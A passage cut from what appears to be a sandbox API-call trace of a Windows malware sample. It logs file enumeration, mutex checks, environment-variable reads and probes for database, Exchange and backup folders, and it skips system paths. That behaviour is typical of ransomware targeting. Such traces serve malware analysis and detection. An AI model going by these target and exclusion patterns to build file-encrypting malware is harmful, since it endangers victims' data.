cFileName="nav_rightarrow.png", cAlternateFileName="")) returned 1 [0057.447] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.447] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.447] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.447] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.447] GlobalUnlock (hMem=0x44000c) returned 0 [0057.447] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.447] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.447] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.447] GlobalUnlock (hMem=0x44000c) returned 0 [0057.447] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.447] GlobalUnlock (hMem=0x440004) returned 0 [0057.447] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.447] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71018dde, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71018dde, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_uparrow.png", cAlternateFileName="")) returned 1 [0057.447] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.447] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.447] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.447] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.447] GlobalUnlock (hMem=0x440004) returned 0 [0057.447] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.447] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.447] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.447] GlobalUnlock (hMem=0x440004) returned 0 [0057.447] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.447] GlobalUnlock (hMem=0x44000c) returned 0 [0057.448] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.448] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71018dde, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71018dde, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_uparrow.png", cAlternateFileName="")) returned 0 [0057.448] GetLastError () returned 0x12 [0057.448] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0057.448] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyGirl", cAlternateFileName="")) returned 1 [0057.448] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.448] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.448] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.448] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.448] GlobalUnlock (hMem=0x44000c) returned 0 [0057.448] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.448] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.448] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.448] GlobalUnlock (hMem=0x44000c) returned 0 [0057.448] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.448] GlobalUnlock (hMem=0x440004) returned 0 [0057.448] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.449] GlobalLock (hMem=0x440004) returned 0x550170 [0057.449] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.449] GlobalUnlock (hMem=0x440004) returned 0 [0057.449] GlobalLock (hMem=0x440004) returned 0x550170 [0057.449] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.449] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.449] GlobalUnlock (hMem=0x440004) returned 0 [0057.449] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.449] GlobalUnlock (hMem=0x44000c) returned 0 [0057.449] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.449] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl", len=0x34 | out: pbstr=0x18edc4*="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl") returned 1 [0057.449] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.449] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.449] GlobalUnlock (hMem=0x44000c) returned 0 [0057.449] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.449] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.449] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.449] GlobalUnlock (hMem=0x44000c) returned 0 [0057.449] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.449] GlobalUnlock (hMem=0x440004) returned 0 [0057.449] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@蚒T虦T企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0057.452] GetLastError () returned 0x3 [0057.452] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\") returned 0x35 [0057.452] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0057.452] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\眵?\x18") returned 21 [0057.452] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="蛄T䱠@藼T企@\x18䃄Q\x181")) returned 0xffffffff [0057.454] GetLastError () returned 0x2 [0057.454] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\") returned 0x35 [0057.454] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0057.454] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\眵?\x18") returned 9 [0057.454] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="蛄T䱠@숼R企@\x18?T\x18;")) returned 0xffffffff [0057.455] GetLastError () returned 0x2 [0057.455] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\") returned 0x35 [0057.455] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0057.456] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="蛄T䱠@俬R企@\x18?T\x18D")) returned 0xffffffff [0057.457] GetLastError () returned 0x2 [0057.457] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\") returned 0x35 [0057.457] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0057.457] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="蛄T䱠@藼T企@\x18숼R\x18j")) returned 0xffffffff [0057.459] GetLastError () returned 0x2 [0057.459] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\") returned 0x35 [0057.459] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\眵?\x18") returned 37 [0057.459] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="蛄T䱠@俬R企@\x18?T\x18q")) returned 0xffffffff [0057.460] GetLastError () returned 0x2 [0057.460] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\") returned 0x35 [0057.460] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\숸RP") returned 6 [0057.460] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="蛄T䱠@伤R企@\x18?T\x18y")) returned 0xffffffff [0057.462] GetLastError () returned 0x2 [0057.462] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\") returned 0x35 [0057.462] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0057.462] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="蛄T䱠@藼T企@\x18?T\x18\x81")) returned 0xffffffff [0057.463] GetLastError () returned 0x2 [0057.463] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\") returned 0x35 [0057.463] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0057.463] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="蛄T䱠@俬R企@\x18?T\x18\x88")) returned 0xffffffff [0057.465] GetLastError () returned 0x2 [0057.465] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\") returned 0x35 [0057.465] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0057.465] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="蛄T䱠@伤R企@\x18?T\x18\x8f")) returned 0xffffffff [0057.466] GetLastError () returned 0x2 [0057.466] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\") returned 0x35 [0057.466] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0057.466] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8b8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="蛄T䱠@藼T企@\x18?T\x18\x97")) returned 0xffffffff [0057.468] GetLastError () returned 0x2 [0057.468] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\") returned 0x35 [0057.468] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0057.468] GlobalLock (hMem=0x440004) returned 0x550170 [0057.468] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.468] GlobalUnlock (hMem=0x440004) returned 0 [0057.468] GlobalLock (hMem=0x440004) returned 0x550170 [0057.468] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.468] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.468] GlobalUnlock (hMem=0x440004) returned 0 [0057.468] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.468] GlobalUnlock (hMem=0x44000c) returned 0 [0057.468] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\") returned 0x35 [0057.468] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0057.468] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0057.468] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\") returned 0x35 [0057.468] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0057.468] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 46 [0057.468] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\") returned 0x35 [0057.468] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0057.468] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0057.468] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\") returned 0x35 [0057.468] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0057.468] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0057.469] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.469] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.469] GlobalUnlock (hMem=0x44000c) returned 0 [0057.469] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.469] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.469] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.469] GlobalUnlock (hMem=0x44000c) returned 0 [0057.469] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.469] GlobalUnlock (hMem=0x440004) returned 0 [0057.469] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\") returned 0x35 [0057.469] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0057.469] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\") returned 0x35 [0057.469] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0057.469] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\") returned 0x35 [0057.469] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0057.469] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\") returned 0x35 [0057.469] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 18 [0057.469] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\") returned 0x35 [0057.469] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 28 [0057.469] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\") returned 0x35 [0057.469] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 10 [0057.469] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\") returned 0x35 [0057.469] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 8 [0057.469] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\") returned 0x35 [0057.469] MultiByteToWideChar 